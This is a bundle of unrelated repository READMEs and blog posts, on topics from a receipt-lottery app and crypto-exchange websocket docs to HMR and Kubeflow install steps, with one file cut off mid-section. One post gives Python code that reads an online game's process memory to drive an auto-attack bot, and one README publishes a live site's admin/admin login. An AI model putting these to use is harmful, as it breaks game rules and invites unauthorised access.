  * [Matthew Meyer][0mgem0] (La Jolla Institute of Allergy & Immunology's Microscopy Core): 3D printed syringe pump body, v-slot adaptor, other parts (see [section](https://github.com/HenriquesLab/NanoJ-Fluidics/wiki/Pumpy-3D-Printing-MMeyer)).
  * [Leo Saunders][MySaundersleo] (University of Colorado Denver): 3D printed syringe pump body (see [section](https://github.com/HenriquesLab/NanoJ-Fluidics/wiki/Pumpy-3D-Printing-LSaunders)).

  [1]: http://www.ucl.ac.uk/lmcb/users/ricardo-henriques
  [2]: http://www.ucl.ac.uk/lmcb/
  [3]: http://www.ucl.ac.uk/
  [4]: https://github.com/HenriquesLab/NanoJ-Fluidics/wiki/Pumpy-Home
  [5]: https://github.com/HenriquesLab/NanoJ-Fluidics/wiki/Labware-Home
  [6]: https://github.com/HenriquesLab/NanoJ-Fluidics/wiki/Electronics-Home
  [7]: https://github.com/HenriquesLab/NanoJ-Fluidics/wiki/GUI-Home
  [8]: https://github.com/HenriquesLab/NanoJ-Fluidics/wiki/Files/PedroPumpsSample.png
  [9]: http://www.neurocytolab.org/
  [10]: https://github.com/HenriquesLab/NanoJ-Fluidics/wiki
  [11]: https://doi.org/10.1038/s41467-019-09231-9
  [12]: https://gitter.im/NanoJ-Fluidics
  [3DPrint]: Pumpy-3D-Printing
  [0mgem0]: https://twitter.com/0mgem0
  [MySaundersleo]: https://twitter.com/MySaundersleo


text:
# invoice

[![][dependency-img]][dependency-url]
[![][dependency-dev-img]][dependency-dev-url]

A helper for Taiwan Receipt Lottery

## Demo

https://zlargon.github.io/invoice/

## License

MIT

[dependency-url]: https://david-dm.org/zlargon/invoice
[dependency-img]: https://david-dm.org/zlargon/invoice.svg

[dependency-dev-url]: https://david-dm.org/zlargon/invoice#info=devDependencies
[dependency-dev-img]: https://david-dm.org/zlargon/invoice/dev-status.svg

repository: apachesep/invoice

repo_name: apachesep/invoice


text:
---
title: Facebook sued by Australian information watchdog over Cambridge Analytica linked data breach
author: PipisCrew
date: 2020-03-09
categories: [news]
toc: true
---

Facebook alleged to have committed serious breaches with data collected by This is Your Digital Life app used by Cambridge Analytica for political profiling. Australia’s information commissioner is suing Facebook over allegedly breaching the privacy of over 300,000 Australians caught up in the Cambridge Analytica scandal. At the time, Facebook said 311,127 Australians between March 2014 and May 2015 had data shared with the app, accounting for 0.4% of users affected by the breach.

However, the court documents reveal just 53 people in Australia installed the app.

https://www.theguardian.com/technology/2020/mar/09/facebook-cambridge-analytica-sued-australian-information-watchdog-300000-privacy-breaches

origin - https://www.pipiscrew.com/?p=17378 facebook-sued-by-australian-information-watchdog-over-cambridge-analytica-linked-data-breach


text:
#todo

- docu

##0.8

 - updated dependencies (PHP ~7)

###0.1.2

 - fixed toString intendation and added test to toString
 - added __toString() method to array path

###0.1.1

 - updated repositories to local satis installation

##0.1.0

 - changed package name from ArrayUtility to array-utility

###0.0.1

- Initial commit

repository: paslandau/array-utility

repo_name: paslandau/array-utility


text:
So you probably google "travis ci rethinkdb" and find [an example for running RethinkDB in Travis CI](http://docs.travis-ci.com/user/installing-dependencies/) in their website.

![Travis Screenshot](/assets/images/2015/07/travis-yml-rethinkdb.png)

After adding this to your `.travis.yml`, making your tests pass locally, and then pushing your changes to GitHub you see the following on Travis:

![](/assets/images/2015/07/travis-tests-failing.png)

Your tests fail! But they worked locally! What's going on!

If you look at RethinkDB's documentation, you'll see that the instructions for installing RethinkDB are a bit different from the Travis CI example. The repository posted in Travis CI's website is outdated and installs an older version of RethinkDB that is probably different from your client driver version (which is what causes the problem).

![RethinkDB Install Page](/assets/images/2015/07/rethinkdb-install.png)

Fixing this is pretty simple. Just copy paste the commands posted on [the RethinkDB install page](http://rethinkdb.com/docs/install/ubuntu/) into your `.travis.yml` file.

```yaml
before_install:
  - source /etc/lsb-release && echo "deb http://download.rethinkdb.com/apt $DISTRIB_CODENAME main" | sudo tee /etc/apt/sources.list.d/rethinkdb.list
  - wget -qO- http://download.rethinkdb.com/apt/pubkey.gpg | sudo apt-key add -
  - sudo apt-get update -q
  - sudo apt-get -y --force-yes install rethinkdb

before_script:
    - rethinkdb --daemon
```

extension: markdown


text:
---
layout: default
---

# 1996-09-03 - Re: POT_hot

## Header Data

From: jim bell<EMAIL_ADDRESS>To<EMAIL_ADDRESS>Message Hash: 5130de298c18f1ce90682361b0b7baba188ee5a87e5673059575eabcf5d5c349

Message ID<EMAIL_ADDRESS>Reply To: _N/A_

UTC Datetime: 1996-09-03 10:09:22 UTC

Raw Date: Tue, 3 Sep 1996 18:09:22 +0800

## Raw message

```
{% raw  %}From: jim bell<EMAIL_ADDRESS>Date: Tue, 3 Sep 1996 18:09:22 +0800
To<EMAIL_ADDRESS>Subject: Re: POT_hot
Message-ID<EMAIL_ADDRESS>MIME-Version: 1.0
Content-Type: text/plain

At 11:39 PM 9/2/96 GMT, John Young wrote:
>   Foreign Affairs, Sep/Oct, Lead Essay:
>
>   "Postmodern Terrorism. The terrorism of the future may be
>   far more destructive than terrorism as we have known it."
>
>   An informative survey and pot-heat by Walter Laqueur.
>
>      Terrorism's prospects, often overrated by the media,
>      the public, and some politicians, are improving as its
>      destructive potential increases. Terrorism has
>      replaced wars between nations of the 1800s and 1900s.
[deleted]
>      Why assassinate a politician or indiscriminately kill
>      people when an attack on electronic switching will
>      produce far more dramatic and lasting results? If the
>      new terrorism directs its energies toward information
>      warfare, its destructive power will be exponentially
>      greater than any it wielded in the past -- greater
>      even than it would be with biological and chemical
>      weapons. The single successful one could claim many
>      more victims, do more material damage, and unleash far
>      greater panic than anything the world has yet
>      experienced.
>   http://jya.com/pothot.txt  (30 kb)

<sigh>
Am I being unreasonable to expect at least a certain degreee of logic in the
world?    Why is it that this guy (Laqueur) seems to believe that the future
is filled with "greater panic than anything the world has yet experienced."
I believe that, while there may be panic, it'll be panic on the part of the
politicians, not ordinary citizens.  I suppose a certain amount of bias is
to be expected, seeing as how it's Foreign Affairs magazine.

Jim Bell
<EMAIL_ADDRESS>

{% endraw %}
```

## Thread

+ Return to [September 1996](/archive/1996/09)

+ Return to "[jim bell <jimbell@pacifier.com>](/authors/jim_bell_jimbell_at_pacifier_com_)"

+ 1996-09-03 (Tue, 3 Sep 1996 18:09:22 +0800) - Re: POT_hot - _jim bell<EMAIL_ADDRESS>


text:
nitsas's dotfiles

# Installation

To "install" these dotfiles:
1. clone this folder into `~/.dotfiles`
2. run `install.sh` in your favorite shell

repository: nitsas/dotfiles

repo_name: nitsas/dotfiles


text:
---
date: Oct 19, 2020
author: Camilo Acosta
title: "Automating a PC game with python: Memory Scan"
categories: [DataScience, DataAnalysis]
tags: [python, pyautogui]
---

## Intro
Not too long ago, a friend told me that a game we used to play at school was recently brought back to live. This game's name was Tales of Pirates (now renamed as Pirate King Online aka PKO). I felt nostalgic and tempted to play it but I also was hesitant as MMORPG games usually demand lots of time in things like leveling, farming for resources and making money. Since time is gold as they say, I decided to develop a bot with python to help me do the boring stuff for me!

- The bot automatically detects when there is a MOB(monster or beast) nearby and attacks it.

- After a defined time in seconds the bot moves to another location in the map.

## Memory Scan
Computer programs are assigned physical or virtual memory space for the normal execution of their processes, all variable values received/sent to the server are somewhere in that memory, meaning that by figuring out the exact address where the game is writing certain value it is possible to feed the bot with that data and act accordingly. That is exactly what I did.

### Scanning Memory with Cheat Engine
in PKO, everytime the cursor hovers over a MOB the icon changes from an arrow to a sword, meaning there is something that can be attacked, this feature is very common in many games. The idea here is to look for the address in memory that reflects this change and read it in python, a similar process can be done for the location.

[Here](https://wiki.cheatengine.org/index.php?title=Cheat_Engine:Memory_Scanning) is the official documentation for CE that explains how it works.

## Reading memory addresses using Python.
ctypes library from python

```python
import ctypes as ct

def readMemory(self, result, addr):
        kernel32 = ct.windll.kernel32    # use kernel32.dll from windows
        PROCESS_VM_READ = 0x0010 # permissions required to read memory
        handle = kernel32.OpenProcess(PROCESS_VM_READ, 0, self.pid)
        kernel32.ReadProcessMemory(handle, addr, ct.byref(result), ct.sizeof(result), 0)
        return result.value
```


text:
# garçon

[![Circle CI](https://circleci.com/gh/marcomorain/garcon.svg?style=svg)](https://circleci.com/gh/marcomorain/garcon)

Garçon is a local HTTP fileserver. It is designed to make it simple to serve the files in a local directory over HTTP. Garçon is intended to be used for local development, and should is not intended to replace the nginx or apache webservers.

I use garcon in place of having to configure `nginx` to serve a local folder when doing web development. Garcon does the same job as running `python -m SimpleHTTPServer 8888`

HTTP GET is the only method that is implemented. A request with any method other than GET will receive a response code of 405. Garcon will serve any file that the process has access to from the specified directory, or any sub-directories. Requests are served one at a time from a single thread.

## Usage

Using garcon is simple – run `garcon` in a directory to make the contents available over HTTP on `localhost:8888`. You can specify the port and directory using the `--port` and `--directory` command-line arguments.

```
  Usage: garcon [options]

  Options:

    -V, --version                 output program version
    -h, --help                    output help information
    -d, --directory [arg]         The root directory to serve files from (default to the current working directory)
    -p, --port [arg]              Which port to listen on (default 8888)
```

## CORS
Garçon adds the necessary headers to allow [CORS](http://en.wikipedia.org/wiki/Cross-origin_resource_sharing) requests to be accepted. These are `Access-Control-Allow-Methods: GET` `Access-Control-Allow-Origin: *`.

## Logging
Requests are logged to `stdout` in Apache Combined Log Format, which looks like this:

```
Garçon!

repository: marcomorain/garcon

gha_language: C

repo_name: marcomorain/garcon


text:
# Web Socket Streams

## General WSS information
* The base endpoint is: **wss://ws.jex.com**
* Streams can be accessed either in a single raw stream or in a combined stream
* Raw streams are accessed at **/ws/\<streamName\>**
* Combined streams are accessed at **/stream?streams=\<streamName1\>/\<streamName2\>/\<streamName3\>**
* Combined stream events are wrapped as follows: **{"stream":"\<streamName\>","data":\<rawPayload\>}**
* All symbols for streams are **lowercase**
* A single connection to **stream.jex.com** is only valid for 24 hours; expect to be disconnected at the 24 hour mark
* The websocket server will send a `ping frame` every 3 minutes. If the websocket server does not receive a `pong frame` back from the connection within a 10 minute period, the connection will be disconnected. Unsolicited `pong frames` are allowed.
* WSS contract order sells are uniformly negative
* It is recommended to use the combined streams method for connection. Each combined stream can subscribe to a maximum of 10 streams

## Stream Detailed Stream information

## Websocket Trade Streams

* Every 100 ms push, every single transaction in the last second is defined as a transaction between only one order taker and one bill holder.

### Stream Name: \<symbol\>@\<tradeType\>

>**Response**

```javascript

[{
  "e": "spotTrade",    //  Event type
  "E": 123456789,      // Event time
  "s": "JEXBTC",       // Symbol
  "t": 12345,          // Trade ID
  "p": "0.001",        // Price
  "q": "100",          // Quantity
  "T": 123456785,      // Trade time
  "m": true,           // Is the buyer the market maker?If true，this is a seller order，otherwise it is a buyer order.
},{...},...
]
```

### tradeType

- Support 3 types as below:
  - spotTrade
  - optionTrade
  - contractTrade

## Websocket Kline/Candlestick Streams

* The Kline/Candlestick Stream push updates to the current klines/candlestick every second

- Booking Kline requires interval parameter, shortest one is minute line, longest one is week line. Support intervals as below:

  - 1M
  - 5M
  - 15M
  - 30M
  - 1H
  - 4H
  - 1D
  - 1W

### Stream Name: \<symbol\>@\<klineType\>_\<interval\>

>**Response**

```javascript
{
  "e": "spotKline",     // Event type
  "E": 123456789,       // Event time
  "s": "JEXBTC",        // Symbol
  "k": {
    "t": 123400000,     // Kline start time
    "T": 123460000,     // Kline close time
    "s": "JEXBTC",      // Symbol
    "i": "1m",          // Interval
    "o": "0.0010",      // Open price
    "c": "0.0020",      // Close price
    "h": "0.0025",      // High price
    "l": "0.0015",      // Low price
    "v": "1000",        // Base asset volume
    "q": "1.0000",      // Quote asset volume
  }
}
```

### klineType

-Support types
  - spotKline
  - optionKline
  - contractKline

## Individual Symbol Mini Ticker Stream

* 24hr rolling window mini-ticker statistics for a single symbol pushed every second.

### Stream Name: \<symbol\>@\<miniTickerType\>

>**Response**

```javascript
{
    "e": "24hrSpotMiniTicker",   // Event type
    "E": 123456789,              // Event time
    "s": "JEXBTC",               // Symbol
    "c": "0.0025",               // Close price
    "h": "0.0025",               //  High  price
    "o": "0.0025",               // Open price
    "l": "0.0010",               // Low price
    "m": "10000",                // mark price(Only  contractMiniTicker have)
    "i": "10000",                // index price(Only contractMiniTicker have)
    "v": "10000",                // Base asset volume
    "q": "18"                    // Total traded quote asset volume
}

```

### miniTickerType

- Support types:
  - spotMiniTicker
  - optionMiniTicker
  - contractMiniTicker

## All Market Mini Tickers Stream

* 24hr rolling window mini-ticker statistics for all symbols that changed in an array pushed every second

### StreamName: !\<miniTickerType\>@arr

>**Response**

```javascript

[
  {
     // Same as <symbol>@miniTicker payload
  }
]
```

### miniTickerType

- Support types:
  - spotMiniTicker
  - optionMiniTicker
  - contractMiniTicker

## Individual Symbol Ticker Streams

* 24hr rollwing window ticker statistics for a single symbol pushed every second.

### Stream Name: \<symbol\>@\<tickerType\>

>**Response**

```javascript
{
  "e": "24hrSpotTicker",  // Event type
  "E": 123456789,         // Event time
  "s": "JEXBTC",          // Symbol
  "p": "0.0015",          // Price change in 24h
  "P": "250.00",          // Price change in 24h percent
  "c": "0.0025",          // Last price
  "h": "0.0025",          // Highest price in 24h
  "l": "0.0010",          // Lowest price in 24h
  "v": "10000",           // Trade volume in 24h
  "q": "18",              // Trade asset in 24h
  "m": "10000",           // mark price(Only  contractMiniTicker have)
  "i": "10000",           // index price(Only contractMiniTicker have)
  "O":<PHONE_NUMBER>,        // TODO 0  Starting time
  "C": 86400000,          // TODO 3600*24*1000，milliseconds in 24h  ending time
}
```
## All Market Tickers Stream

> 24hr rolling window ticker statistics for all symbols that changed in an array pushed every second.

### StreamName: !\<tickerType\>@arr

### Payload:

```javascript
[
  {
     //Same as <symbol>@ticker payload
  }
]
```
- tickerType
  - spotTicker
  - optionTicker
  - contractTicker

## Partial Book Depth Streams

* Top <levels> bids and asks, pushed every second. Valid <levels> are 5, 10, or 20.

### Stream Name: \<symbol\>@\<depthType\>\<levels\>

>**Response**  :

```javascript
{
  "bids": [             // Buy
    [
      "0.0024",         // Price
      "10",             // Quantity
    ]
  ],
  "asks": [             // Sell
    [
      "0.0026",         // Price
      "100",            // Quantity
    ]
  ]
}
```

- depthType
  - spotDepth
  - optionDepth
  - contractDepth
- levels
  - 5
  - 10
  - 20

## Diff. Depth Stream
* Order book price and quantity depth updates used to locally manage an order book pushed every second.

### Stream Name: \<symbol\>@\<depthType\>

>**Response** :

```javascript
{
  "e": "spotDepthUpdate", // Event type
  "s": "JEXBTC",          // Symbol
  "v": 157,               // Version to be updated
  "b": [                  // Changing depth for buyer
    [
      "0.0024",          // Price
      "10",              // Quantity
    ]
  ],
  "a": [                 // Changing depth for seller
    [
      "0.0026",          // Price
      "100",             // Quantity
    ]
  ]
}
```
- depthType Support types
  - spotDepth
  - optionDepth
  - contractDepth
- Types for Depth Streams
  - spotDepthUpdate
  - optionDepthUpdate
  - contractDepthUpdate

repository: jiaofu/api-doc

repo_name: jiaofu/api-doc


text:
Welcome to Recur 👋

> Get some insight into your recurring monthly expenses

### 🏠 [Homepage](https://recur.jsdr.dev)

## Install

```sh
npm install
```

## Usage

```sh
npm run start
```

## Run tests

```sh
npm run test
```

## Author

👤 **Jens de Rond**

* Twitter: [@JensdeRond](https://twitter.com/JensdeRond)
* Github: [@Jensderond](https://github.com/Jensderond)

## 🤝 Contributing

Contributions, issues and feature requests are welcome!
Feel free to check [issues page](https://github.com/Jensderond/recur/issues).

## Show your support

Give a ⭐ if this project helped you!

## 📝 License

Copyright © 2019 [Jens de Rond](https://github.com/Jensderond).

This project is [MIT](https://github.com/Jensderond/recur/blob/master/LICENSE) licensed.

***
_This README was generated with ❤ by [readme-md-generator](https://github.com/kefranabg/readme-md-generator)_

repository: Jensderond/recur

repo_name: Jensderond/recur


text:
Gatsby starter readme is [here](gatsby.README.md)

## About

A demo app that uses Gatsby to fetch and display the Debt Collective's public repos using GitHub's GraphQL API.

## 🚀 Quick start
* `npm install`
* install Gatsby CLI if you don't already have it: `npm install -g gatsby-cli`
* `export GITHUB_TOKEN=<a valid GitHub API token>`
* `gatsby develop`

## 🧐 Implementation details

This is basically a boilerplate Gatsby application that utilizes the
[gatsby-source-graphql](https://www.gatsbyjs.org/packages/gatsby-source-graphql) plugin to shim
the GitHub GraphQL schema into the local Gatsby schema under the `github` field. With this the GitHub
Graphql API can be queried by the client like so:

```graphql
query REPOS {
  github {
    search(query: "org:jacobheric", type: REPOSITORY, first: 50) {
      repositoryCount
      edges {
        node {
          ... on GitHub_Repository {
            name
            languages(first: 10) {
              edges {
                node {
                  name
                }
              }
            }
            description
            stargazers {
              totalCount
            }
          }
        }
      }
    }
  }
}
```

See the`gatsby-source-graphql` plugin resolver in [gatsby-config.js](gatsby-config.js) for configuration detail. The only
really interesting thing there is that it expects the GitHub auth token to be present in the env (see quick start above).

I used the [Tailwind CSS]((https://tailwindcss.com/)) utility framework for styling. I use Tailwind often as
it's unopinionated and gives you a lot without having to write any custom CSS.

Tailwind is integrated by [PostCSS](https://postcss.org/). See: [postcss.config.js](postcss.config.js). Tailwind _does_
produce overly large CSS by default so I use [PurgeCSS](https://purgecss.com/) to reduce the size for deployment.
See [tailwind.config.js](tailwind.config.js) for the purge configuration.

The only custom code I added to the boilerplate starter is [here](src/pages/index.js). It's really straightforward.
The Graphql query string is defined inline and the results are fetched in real time (not statically at build time).
The results are displayed in a simple, responsive CSS flexbox using Tailwind.

## TODO
* add tests via Jest: https://gatsby.dev/unit-testing
* add husky precommit hooks for linting and testing

repository: jacobheric/debt

gha_language: JavaScript

repo_name: jacobheric/debt


text:
## Event Kit Type Definitions

TypeScript type definitions for [event-kit](https://github.com/atom/event-kit), which is published [under the same name](https://www.npmjs.com/package/event-kit) on NPM.

### Usage Notes

#### Exports

The three classes exported from this module are: [CompositeDisposable](https://github.com/atom/event-kit/blob/master/src/composite-disposable.coffee), [Disposable](https://github.com/atom/event-kit/blob/master/src/disposable.coffee), and [Emitter](https://github.com/atom/event-kit/blob/master/src/emitter.coffee).

```ts
import { CompositeDisposable, Disposable, Emitter } from "event-kit";
let subscriptions = new CompositeDisposable();
```

#### The EventKit Namespace

All types used by "event-kit" can be referenced from the EventKit namespace.

```ts
function example(disposable: EventKit.DisposableLike) {}
```

### Exposing Private Methods and Properties

[Declaration Merging](https://www.typescriptlang.org/docs/handbook/declaration-merging.html) can be used to augment any of the types used within Event Kit. As an example, if we wanted to reveal the private ```getEventNames``` method within the Emitter class, then we would create a file with the following contents:

```ts
// <<filename>>.d.ts

declare namespace EventKit {
  interface Emitter {
    getEventNames(): string[];
  }
}
```

Once this file is either referenced or included within your project, then this new member function would be freely usable on instances of the Emitter class without TypeScript reporting errors.


text:
# Human Shape and Pose Estimation

The HMR (End-to-end recovery of human shape and pose, CVPR 2018 by Angjoo Kanazawa, Michael J. Black, David W. Jacobs, Jitendra Malik) runs with python 2.7 on the linux system.

This version of HMR runs with python 3.6 on Windows.

### Requirements
- Anaconda env. of Python 3.6
- [TensorFlow](https://www.tensorflow.org/) tested on version 1.12

### Installation
#### Setup conda environment
1. Make an environment with python 3.6 in Anaconda.
2. Install `numpy`, `scikit-image`, `pyopengl`, `py-opencv`, `bottleneck`, `tensorflow` using Anaconda Packaging.

#### Install opendr
1. Download `opendr` from https://github.com/polmorenoc/opendr

In a terminal of the conda environment, go to the opendr folder. It has both `opendr` and `chumpy` folders.

2. Correct `opendr/renderer.py` file

Uncomment line 484 to obtain normals in tn() method.

3. Install both on the conda environment by
moving into opendr then,
```
  pip install .
```

This procedure installs chumpy (0.76) from PyPI, which does not work with opendr. So,
```
  pip uninstall chumpy
```
Move into chumpy then,
```
  pip install .
```
This install chumpy (0.66) that works with opendr.

4. `ipdb` & `glfw` should also be installed, but they are not in Anaconda Packaging.
```
  pip install ipdb
  pip install glfw
```

Opendr can be checked as
```
  python demo_fit_cube.py
```
It will pop some windows including cubes.
If an error occurs in scipy, a simple modification is required.
You search for scipy in site-packages of your conda environment. Edit sputils.py at line 281 in scipy/sparse

```
new_shape = tuple(operator.index(arg) for arg in args)
```

changed to
```
new_shape = tuple(operator.index(int(arg)) for arg in args)
```

### Demo
Finally, move to the folder of this package.

1. Download the pre-trained models
```
wget https://people.eecs.berkeley.edu/~kanazawa/cachedir/hmr/models.tar.gz && tar -xf models.tar.gz
```

2. Run the demo
```
python -m demo --img_path data/coco1.png
```


text:
---
title: About the google_spanner_instance_iam_binding resource
platform: gcp
---

## Syntax
A `google_spanner_instance_iam_binding` is used to test a Google Instance Iam Bindings

## Examples
```
describe google_spanner_instance_iam_binding(project: "project", name: "name", role: "roles/editor") do
  it { should exist }
  its('members') { should include<EMAIL_ADDRESS>}
end
```

## Properties
Properties that can be accessed from the `google_spanner_instance_iam_binding` resource:

  * `role`: Role that is assigned to members. For example, roles/viewer, roles/editor, or roles/owner.

  * `members`: Specifies the identities requesting access for a Cloud Platform resource.

## GCP Permissions

Ensure the [Cloud Spanner API](https://console.cloud.google.com/apis/library/spanner.googleapis.com/) is enabled for the current project.

repository: inspec/inspec-gcp

gha_language: Ruby

repo_name: inspec/inspec-gcp


text:
# Exercises from "The Little Elixir & OTP Guidebook" book

The code I've writted during the work with the book.

## Links

The book: https://livebook.manning.com/book/the-little-elixir-and-otp-guidebook

Code samples from the book: https://github.com/benjamintanweihao/the-little-elixir-otp-guidebook-code

repository: marcinbiegun/exercises

gha_language: HTML

repo_name: marcinbiegun/exercises


text:
---
layout: base
title:  'Statistics of Case in UD_English-Pronouns'
udver: '2'
---

## Treebank Statistics: UD_English-Pronouns: Features: `Case`

This feature is universal.
It occurs with 2 different values: `Gen`, `Nom`.

295 tokens (17%) have a non-empty value of `Case`.
11 types (14%) occur at least once with a non-empty value of `Case`.
6 lemmas (10%) occur at least once with a non-empty value of `Case`.
The feature is used with 1 part-of-speech tags: <tt>PRON</tt> (295; 17% instances).

### `PRON`

295 <tt>PRON</tt> tokens (87% of all `PRON` tokens) have a non-empty value of `Case`.

The most frequent other feature values with which `PRON` and `Case` co-occurred: <tt>Number</tt><tt>=Sing</tt> (285; 97%), <tt>Poss</tt><tt>=Yes</tt> (285; 97%), <tt>PronType</tt><tt>=Prs</tt> (285; 97%), <tt>Gender</tt><tt>=Neut</tt> (171; 58%), <tt>Person</tt><tt>=3</tt> (171; 58%).

`PRON` tokens may have the following values of `Case`:

* `Gen` (285; 97% of non-empty `Case`): hers, his, mine, theirs, yours
* `Nom` (10; 3% of non-empty `Case`): all
* `EMPTY` (45): it, There

branch_name: refs/heads/pages-source


text:
# Ux Research

This project gathers my personal research and prototypes about user experience in new user
interfaces technologies like AR, VR or virtual assistants.

* [Extended reality (including VR and AR)](extended-reality/README.md)

These projects follow up a [medium article I wrote about the disruptive user interfaces of the future](https://medium.com/@Daneel_Olivaw/the-10-scifi-human-computer-interfaces-becoming-reality-53193be203a3).

repository: friedrith/ux-research

repo_name: friedrith/ux-research


text:
---
layout: post
date: 2015-05-28 11:11
categories:
- elasticsearch
- ruby
- chewy
title: Elasticsearch Suggesters with Chewy
description: Tutorial for using elasticsearch autocompletion
---

We recently started migrating a page with filtering over to [elasticsearch][elasticsearch]. One of the filtering options allows you to search for someone's name, to make this a nicer experience we added autocompletion for that name. To help with this we used the [chewy][chewy] gem.

Before we get started, this is a `prefix` autocompletion. So if you search for `compl` it will suggest `complete` and not `autocomplete`.

##### PersonIndex

```ruby
class PersonIndex < Chewey::Index
  define_type Person do
    field :first_name
    field :last_name
    field :name_autocomplete, {
      value: -> {
        {
          input: [first_name, last_name],
          output: full_name,
          context: {
            group_id: group.id,
          },
        }
      },
      type: "completion",
      context: {
        group_id: {
          type: "category",
        },
      },
    }
  end
end
```

First we need to set up the index. With chewy we define `PersonIndex` and fill in fields we want the index to have.

To create a `completion` field we give it a special value that contains the input to match against and the output elasticsearch will give after matching. We can also specify a `context` because we wanted to limit the completion to certain groupings and not suggest everything.

We also define `type` as `completion` and let elasticsearch know that this field has a context of `group_id`.

##### Suggestions

```ruby
PersonIndex.suggest({
  suggest: {
    text: "Eri",
    completion: {
      field: "name_autocomplete",
      context: {
        group_id: group.id,
      },
    },
  },
}).suggest
```

In order to get suggestions out of elasticsearch we use the `.suggest` method off of the index. The top level key is required and can be anything you want. It will match up with the output key.

Inside the top level key you pass in the text you want to complete against along with what field and any context. Elasticsearch will return JSON similar to below:

##### Suggestion JSON

```json
{
   "_shards": {
      "total": 5,
      "successful": 5,
      "failed": 0
   },
   "suggest": [
      {
         "text": "Eri",
         "offset": 0,
         "length": 3,
         "options": [
            {
               "text": "Eric Oestrich",
               "score": 1
            }
         ]
      }
   ]
}
```

The `options` array will contain any records that matched against your text. The `text` inside of `options` will be the `output` you specified when creating the value for that record.

If you don't want to use chewy for suggestions, after setting up the index you can query elasticsearch with the `_suggest` route off of your index:

```
GET person/_suggest
{
  "suggest": {
    "text": "Eri",
    "completion": {
      "field": "name_autocomplete",
      "context": {
        "group_id": 1
      }
    }
  }
}
```

[elasticsearch]: https://www.elastic.co/
[chewy]: https://github.com/toptal/chewy

gha_language: CSS


text:
# The Block
Django app that allows users to keep tabs on what is going on in their neighbourhood. users can share information, articles as well  as view businesses and amenities in their neighbourhood.

## Deployed Site Link
[theblock](https://theblock.herokuapp.com/)
username: admin
pass: admin

## User Stories
   - Sign in with the application to start using.
   - Set up a profile about me and a general location and my neighborhood name.
   - Find a list of different businesses in my neighborhood.
   - Find Contact Information for the health department and Police authorities near my neighborhood.
   - Create Posts that will be visible to everyone in my neighborhood.
   - Change My neighborhood when I decide to move out.
   - Only view details of a single neighborhood.

## Installation prerequisites:
- have python installed
- Text editor
- Internet connection

## Setup and Installation
- Clone or download this repository from github: [Repository](https://github.com/kelvin-daniel/neighborhood)
- run pip install -r requirements.txt to install app dependencies

## Technologies Used
    - HTML
    - CSS
    - Bootstrap
    - JavaScript
    - Python
    - Django
    - cloudinary
    - whitenoise
    - Postgresql
    - Heroku for deployment

### version 1.0

## contact
-<EMAIL_ADDRESS>
## License
#### MIT License 2020.

repository: kelvin-daniel/neighborhood

repo_name: kelvin-daniel/neighborhood


text:
# YXMLP
This is a wrapper for the Java DOM XML. It allows for the creation and manipulation of XML files at an easier and more abstract level than what is originally available.

This is similar to C# implementation.

Classes:
1. XmlParser - This class contains IO methods.
2. XmlElement - This class encapsulates behavior of an element. It can be assigned a name, children and attributes.
3. XmlAttribute - This class encapsulates an attribute, it can be named and given a value.

Using these 3 classes allows the creation and manipulation of a wide range of XML files.


text:
---
title: "Install Kubeflow"
date: 2020-04-27T08:20:05-06:00
weight: 35
---

First, follow the [aws-iam-authenticator installation instructions](https://docs.aws.amazon.com/eks/latest/userguide/install-aws-iam-authenticator.html) for your platform.

Download the latest release of [kfctl](https://github.com/kubeflow/kfctl/releases/tag/v1.0.2). (At the time of writing, the latest release was 1.0.2.) This binary will allow you to install Kubeflow on Amazon EKS.

Note that the Kubeflow installation process may change quite often.  If you have trouble installing Kubeflow, please check the latest [installation instructions](https://www.kubeflow.org/docs/aws/deploy/install-kubeflow/).

Follow these steps after you download the `kfctl` binary:

    tar zxf kfctl_<version>.tar.gz
    sudo mv kfctl /usr/local/bin

Now save the following into a file called `kf-install.sh`:

    export AWS_CLUSTER_NAME=eks-kubeflow
    export AWS_REGION=REGION
    export KF_NAME=${AWS_CLUSTER_NAME}

    export BASE_DIR=$HOME/kf_environment
    export KF_DIR=${BASE_DIR}/${KF_NAME}

    export CONFIG_URI="https://raw.githubusercontent.com/kubeflow/manifests/v1.0-branch/kfdef/kfctl_aws.v1.0.2.yaml"

    export CONFIG_FILE=${KF_DIR}/kfctl_aws.yaml

On line 2 of that file, replace `REGION` with your AWS region.

Now run:

    source kf-install.sh
    mkdir -p ${KF_DIR}
    cd ${KF_DIR}
    wget -O kfctl_aws.yaml $CONFIG_URI

Make the following changes to `kfctl_aws.yaml`:

* Replace the default region (`us-west-2`) with the region you are working in
* On the line immediately after the region, add `enablePodIamPolicy: true`
* Replace the default cluster name (`kubeflow-aws`) with `eks-kubeflow`
* Comment out the line starting with `roles` and the line immediately after it

After making these changes, your `kfctl_aws.yaml` file should look like this:

    apiVersion: kfdef.apps.kubeflow.org/v1
    kind: KfDef
    metadata:
      namespace: kubeflow
    spec:
      applications:
      - kustomizeConfig:
          parameters:
          - name: namespace
            value: istio-system
          repoRef:
            name: manifests
            path: istio/istio-crds
        name: istio-crds
      - kustomizeConfig:
          parameters:
          - name: namespace
            value: istio-system
          repoRef:
            name: manifests
            path: istio/istio-install
        name: istio-install
      - kustomizeConfig:
          parameters:
          - name: namespace
            value: istio-system
          repoRef:
            name: manifests
            path: istio/cluster-local-gateway
        name: cluster-local-gateway
      - kustomizeConfig:
          parameters:
          - name: clusterRbacConfig
            value: 'OFF'
          repoRef:
            name: manifests
            path: istio/istio
        name: istio
      - kustomizeConfig:
          parameters:
          - name: namespace
            value: istio-system
          repoRef:
            name: manifests
            path: istio/add-anonymous-user-filter
        name: add-anonymous-user-filter
      - kustomizeConfig:
          repoRef:
            name: manifests
            path: application/application-crds
        name: application-crds
      - kustomizeConfig:
          overlays:
          - application
          repoRef:
            name: manifests
            path: application/application
        name: application
      - kustomizeConfig:
          parameters:
          - name: namespace
            value: cert-manager
          repoRef:
            name: manifests
            path: cert-manager/cert-manager-crds
        name: cert-manager-crds
      - kustomizeConfig:
          parameters:
          - name: namespace
            value: kube-system
          repoRef:
            name: manifests
            path: cert-manager/cert-manager-kube-system-resources
        name: cert-manager-kube-system-resources
      - kustomizeConfig:
          overlays:
          - self-signed
          - application
          parameters:
          - name: namespace
            value: cert-manager
          repoRef:
            name: manifests
            path: cert-manager/cert-manager
        name: cert-manager
      - kustomizeConfig:
          repoRef:
            name: manifests
            path: metacontroller
        name: metacontroller
      - kustomizeConfig:
          overlays:
          - istio
          - application
          repoRef:
            name: manifests
            path: argo
        name: argo
      - kustomizeConfig:
          repoRef:
            name: manifests
            path: kubeflow-roles
        name: kubeflow-roles
